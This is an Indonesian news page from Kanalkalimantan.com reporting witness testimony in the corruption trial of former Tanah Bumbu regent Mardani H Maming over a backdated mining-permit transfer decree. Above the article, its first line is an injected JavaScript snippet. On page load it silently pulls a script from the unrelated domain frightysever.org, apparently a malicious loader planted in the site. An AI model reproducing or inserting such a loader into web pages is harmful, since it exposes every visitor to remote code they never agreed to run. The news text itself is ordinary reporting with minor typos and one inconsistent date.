(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah keterangan baru para saksi mencuat di persidangan kasus Pengalihan Izin Usaha Pertambangan (IUP) Operasi Produksi (OP) yang menjerat mantan Bupati Tanah Bumbu Mardani H Maming.
Pada persidangan yang digelar Kamis (1/12/2022) dari pagi hingga malam tersebut, salah satu saksi mantan Kepala Dinas Energi dan Sumber Daya Manusia (ESDM) Tanah Bumbu mengungkapkan, dalam mengeluarkan Surat Keputusan (SK) Bupati terkait pengalihan IUP OP tidak sesuai aturan.
Lantaran SK Bupati Tanah Bumbu tentang pengalihan IUP OP dari PT Bangun Karya Pratama Lestari (BKPL) ke PT Prolindo Cipta Nusantara (PCN) selain melanggar oasal 93 Undang-Undang Nomor 4 Tahun 2009 tentang Pertambangan Minerba, ternyata tanggal pada SK juga dimundurkan.
“Waktu itu sudah bulan Juni, tapi disuratnya diberi tanggal bulan Mei yaitu 16 Mei 2011,” kata Raden Dwidjono.
Baca juga : Sidang Kasus Pengalihan IUP Mardani Maming, Hadirkan Saksi Mantan Kadis ESDM Tanbu Terpidana
Adapun yang menjadi alasan dimundurkannya tanggal pada SK Pengalihan IUP OP tersebut, agar prosesnya lebih cepat saat diverifikasi ke Dirjen Minerba Kementerian ESDM untuk proses Clean and Clear (CnC).
“Alasannya ya supaya bisa cepat dimajukan proses CnC-nya ke Dirjen Minerba,” ungkap Dwidjono.
Lebih lanjut mantan Kadis ESDM Tanbu tersebut mengatakan, pada SK pengalihan tidak diparaf oleh Asisten II Pemkab Tanah Bumbu.
“Ada 3 paraf dan 1 tanda tangan Bupati di SK tersebut, yang memparaf saya, Sekda dan Kabag Hukum, yang tidak memparaf Asisten 2, karena Asisten 2 tidak datang,” ujar terpidana 2 tahun dalam kasus yang sama bersama terdakwa Mardani Maming ini.
Baca juga: Ketua Komisi I DPRD Kapuas Apresiasi Bantuan Banjir yang Dikirim ke 30 Desa
Pada sidang yang dipimpin Ketua Majelis Hakim Heru Kontjoro bersama 4 anggota tersebut juga dihadirkan Rois Sunandar, adik kandung yang merupakan Direktur PT Batulicin 69 dan 3 saksi lain terkait kasus yang menjerat Mardani Maming ke tahanan KPK itu.
Dalam persidangan juga diperlihatkan bukti SK Bupati yang ditandatangani mantan Bupati Tanah Bumbu Mardani H Maming, kemudian hanya diparaf oleh Kadis ESDM, Kabag Hukum, dan Sekretaris Daerah.
Posisi paraf pada SK tersebut juga terlihat tidak sesuai dengan aturan atau kebiasaan, karena posisinya berada tidak beraturan disamping tanda tangan terdakwa, padahal seharusnya ada kolom khusus untuk paraf.
Persidangan kembali digelar Jumat (2/11/2022) dengan agenda masih pemeriksaan saksi-saksi yang dihadirkan oleh Jaksa Penuntut Umum (JPU) Komisi Pemberantasan Korupsi (KPK). (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.